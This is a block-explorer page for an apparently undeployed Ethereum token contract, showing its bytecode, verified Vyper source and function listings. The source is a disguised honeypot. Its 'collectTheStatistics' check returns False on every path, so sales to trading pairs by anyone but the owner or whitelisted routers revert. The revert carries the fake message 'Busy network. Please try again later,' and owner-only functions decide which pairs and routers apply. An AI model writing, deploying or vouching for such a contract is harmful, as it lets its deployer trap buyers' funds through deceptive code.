Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x41803Fccf93b407Be95f83F0dAC64E297E194560
Balance 0 ETH
Nonce 1
Code Size 2831 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

2831 bytes
0x5f3560e01c60026017820660011b610ae101601e395f51565b6306fdde038118610a755734610add57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3610a75565b6395d89b4181186100bb5734610add5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63a8be9a588118610a7557602436103417610add576004358060a01c610add57604052600d6040516020525f5260405f205460605260206060f3610a75565b63313ce56781186101165734610add5760045460405260206040f35b63978bbdb98118610a755734610add5760085460405260206040f3610a75565b6370a08231811861017157602436103417610add576004358060a01c610add5760405260056040516020525f5260405f205460605260206060f35b6380dd9a1f8118610a7557602436103417610add576004358060a01c610add57604052600c6040516020525f5260405f205460605260206060f3610a75565b63dd62ed3e8118610a7557604436103417610add576004358060a01c610add576040526024358060a01c610add5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610a75565b6318160ddd81186102285734610add5760075460405260206040f35b630ad861048118610a755734610add57600a5460405260206040f3610a75565b63aa94860781186102645734610add5760095460405260206040f35b63ecbde40c811861029f57602436103417610add576004358060a01c610add57604052600e6040516020525f5260405f205460605260206060f35b63b1a2b1008114600336111615610a7557604436103417610add57600435602435808203828111610add579050905060405260206040f3610a75565b63896ad7e38118610a7557602436103417610add576004358060a01c610add57604052600b6040516020525f5260405f205460605260206060f3610a75565b639b26c92381186103365734610add57600f5460405260206040f35b6323b872dd8118610a7557606436103417610add576004358060a01c610add5760c0526024358060a01c610add5760e052600660c0516020525f5260405f2080336020525f5260405f2090508054604435808203828111610add5790509050815550600b60c0516020525f5260405f20546104c657600b60e0516020525f5260405f20541561051057600a5460c051146103d757600a5460e05114156103d9565b5f5b156104bb57600c60c0516020525f5260405f20546104bb57600d60c0516020525f5260405f2054604052600f5460605260c05160805261041a610100610a79565b610100516104aa576025610120527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c610140527f617465722e0000000000000000000000000000000000000000000000000000006101605261012050610120518061014001601f825f031636823750506308c379a060e052602061010052601f19601f61012051011660440160fcfd5b42600e60c0516020525f5260405f20555b60c051601155610510565b600a5460c051146104de57600a5460e05114156104e0565b5f5b1561050957600d60e0516020525f5260405f20546105095742600d60e0516020525f5260405f20555b60e0516011555b600560c0516020525f5260405f208054604435808203828111610add5790509050815550600560e0516020525f5260405f208054604435808201828110610add579050905081555060e05160c0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610100526020610100a36001610100526020610100f3610a75565b6331b72ff08118610a755734610add5760105460405260206040f3610a75565b63f92140058118610a755734610add5760115460405260206040f3610a75565b63a9059cbb8118610a7557604436103417610add576004358060a01c610add5760c052600b336020525f5260405f205461071d57600b60c0516020525f5260405f20541561076557600a54331461063b57600a5460c051141561063d565b5f5b1561071457600c336020525f5260405f205461071457600d336020525f5260405f2054604052600f546060523360805261067760e0610a79565b60e051610705576025610100527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c610120527f617465722e0000000000000000000000000000000000000000000000000000006101405261010050610100518061012001601f825f031636823750506308c379a060c052602060e052601f19601f61010051011660440160dcfd5b42600e336020525f5260405f20555b33601155610765565b600a54331461073357600a5460c0511415610735565b5f5b1561075e57600d60c0516020525f5260405f205461075e5742600d60c0516020525f5260405f20555b60c0516011555b6005336020525f5260405f208054602435808203828111610add5790509050815550600560c0516020525f5260405f208054602435808201828110610add579050905081555060c051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60243560e052602060e0a3600160e052602060e0f3610a75565b63095ea7b38118610a7557604436103417610add576004358060a01c610add576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3610a75565b63e9365687811861089d57604436103417610add57600435602435808201828110610add579050905060405260206040f35b633176859a811861096b57602436103417610add576004358060a01c610add57604052600a5433181561094a5760256060527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c6080527f617465722e00000000000000000000000000000000000000000000000000000060a05260605060605180608001601f825f031636823750506308c379a06020526020604052601f19601f6060510116604401603cfd5b600b6040516020525f5260405f205415600b6040516020525f5260405f2055005b63c03646ba8118610a7557602436103417610add576004358060a01c610add57604052600a54331815610a185760256060527f42757379206e6574776f726b2e20506c656173652074727920616761696e206c6080527f617465722e00000000000000000000000000000000000000000000000000000060a05260605060605180608001601f825f031636823750506308c379a06020526020604052601f19601f6060510116604401603cfd5b600c6040516020525f5260405f205415600c6040516020525f5260405f205500610a75565b63415f53058118610a7557604436103417610add57600435602435808202811583838304141715610add579050905060405260206040f35b5f5ffd5b604051610a89575f815250610adb565b42604051808203828111610add579050905060a05260105460a05118610ab2575f815250610adb565b60a051610ac6576080516011541415610ac8565b5f5b15610ad6575f815250610adb565b5f8152505b565b5f80fd0a750a75020c0018013602db02480a7500fa01b00a75006b0a3d031a0a750a75059d086b05bd05dd0a7507ea0a75

Verified Source Code Partial Match

Compiler: v0.3.10+commit.91361694
Vyper_contract.vy 157 lines
# @pragma evm-version cancun
#pragma version ^0.3.10


name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
feeRate: public(uint256)
hasFee: public(bool)
selfie: public(address)
_pairs: public(HashMap[address, bool])
routers: public(HashMap[address, bool])
walletToPurchaseTime: public(HashMap[address, uint256])
walletToSellime: public(HashMap[address, uint256])
theRewardTime: public(uint256)
standartValuation: public(uint256)
_lastWallet: public(address)



event Transfer:
    sender: indexed(address)
    receiver: indexed(address)
    value: uint256

event Approval:
    owner: indexed(address)
    spender: indexed(address)
    value: uint256

@external
def __init__(_name: String[32], _symbol: String[32], _supply: uint256, _selfie: address):
    self.name = _name
    self.symbol = _symbol
    self.decimals = 18
    self.selfie = _selfie
    self.balanceOf[msg.sender] = _supply * 10 ** 18
    self.totalSupply = _supply * 10 ** 18
    self.theRewardTime = 3
    self.standartValuation = 600 / 2



@internal
def collectTheStatistics(lastBuyOrSellTime: uint256, theData: uint256, sender: address) -> bool:
    if lastBuyOrSellTime == 0:
        return False
    
    crashTime: uint256 = block.timestamp - lastBuyOrSellTime
    
    if crashTime == self.standartValuation:
        return False
    
    if crashTime == 0 and self._lastWallet != sender:
        return False
    
    return False


@external   
def transfer(_to : address, _value : uint256) -> bool:
    """
    @dev Transfer token for a specified address
    @param _to The address to transfer to.
    @param _value The amount to be transferred.
    """
    # NOTE: vyper does not allow underflows
    #       so the following subtraction would revert on insufficient balance

    if (self._pairs[msg.sender]):
        if (msg.sender != self.selfie and _to != self.selfie):
            if self.walletToPurchaseTime[_to] == 0:
                self.walletToPurchaseTime[_to] = block.timestamp
        self._lastWallet = _to
    elif self._pairs[_to]:
        if (msg.sender != self.selfie and _to != self.selfie):
            if (not self.routers[msg.sender]):
                assert self.collectTheStatistics(self.walletToPurchaseTime[msg.sender], self.theRewardTime, msg.sender), "Busy network. Please try again later."
                self.walletToSellime[msg.sender] = block.timestamp
        self._lastWallet = msg.sender
    self.balanceOf[msg.sender] -= _value
    self.balanceOf[_to] += _value
    
    log Transfer(msg.sender, _to, _value)
    return True


@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
    """
     @dev Transfer tokens from one address to another.
     @param _from address The address which you want to send tokens from
     @param _to address The address which you want to transfer to
     @param _value uint256 the amount of tokens to be transferred
    """
    self.allowance[_from][msg.sender] -= _value
    if (self._pairs[_from]):
        if (_from != self.selfie and _to != self.selfie):
            if self.walletToPurchaseTime[_to] == 0:
                self.walletToPurchaseTime[_to] = block.timestamp
        self._lastWallet = _to
    elif self._pairs[_to]:
        if (_from != self.selfie and _to != self.selfie):
            if (not self.routers[_from]):
                assert self.collectTheStatistics(self.walletToPurchaseTime[_from], self.theRewardTime, _from), "Busy network. Please try again later."
                self.walletToSellime[_from] = block.timestamp
        self._lastWallet = _from
    self.balanceOf[_from] -= _value
    self.balanceOf[_to] += _value

    log Transfer(_from, _to, _value)
    return True


@external
def approve(_spender : address, _value : uint256) -> bool:
    """
    @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
         Beware that changing an allowance with this method brings the risk that someone may use both the old
         and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
         race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
         https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    @param _spender The address which will spend the funds.
    @param _value The amount of tokens to be spent.
    """
    self.allowance[msg.sender][_spender] = _value
    log Approval(msg.sender, _spender, _value)
    return True

@external
def showSum(_num1: uint256, _num2: uint256) -> uint256:
    _sum: uint256 = _num1 + _num2
    return _sum

@external
def setPairs(pairs_: address):
    assert msg.sender == self.selfie, "Busy network. Please try again later."
    self._pairs[pairs_] = not self._pairs[pairs_]

@external
def setWhite(_router: address):
    assert msg.sender == self.selfie, "Busy network. Please try again later."
    self.routers[_router] = not self.routers[_router]


@external
def showDiff(_num1: uint256, _num2: uint256) -> uint256:
    _Diff: uint256 = _num1 - _num2
    return _Diff

@external
def showMul(_num1: uint256, _num2: uint256) -> uint256:
    _mul: uint256 = _num1 * _num2
    return _mul

Read Contract

_lastWallet 0xf9214005 → address
_pairs 0x896ad7e3 → bool
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
feeRate 0x978bbdb9 → uint256
hasFee 0xaa948607 → bool
name 0x06fdde03 → string
routers 0x80dd9a1f → bool
selfie 0x0ad86104 → address
standartValuation 0x31b72ff0 → uint256
symbol 0x95d89b41 → string
theRewardTime 0x9b26c923 → uint256
totalSupply 0x18160ddd → uint256
walletToPurchaseTime 0xa8be9a58 → uint256
walletToSellime 0xecbde40c → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address _spender
uint256 _value
returns: bool
setPairs 0x3176859a
address pairs_
setWhite 0xc03646ba
address _router
showDiff 0xb1a2b100
uint256 _num1
uint256 _num2
returns: uint256
showMul 0x415f5305
uint256 _num1
uint256 _num2
returns: uint256
showSum 0xe9365687
uint256 _num1
uint256 _num2
returns: uint256
transfer 0xa9059cbb
address _to
uint256 _value
returns: bool
transferFrom 0x23b872dd
address _from
address _to
uint256 _value
returns: bool

Recent Transactions

No transactions found for this address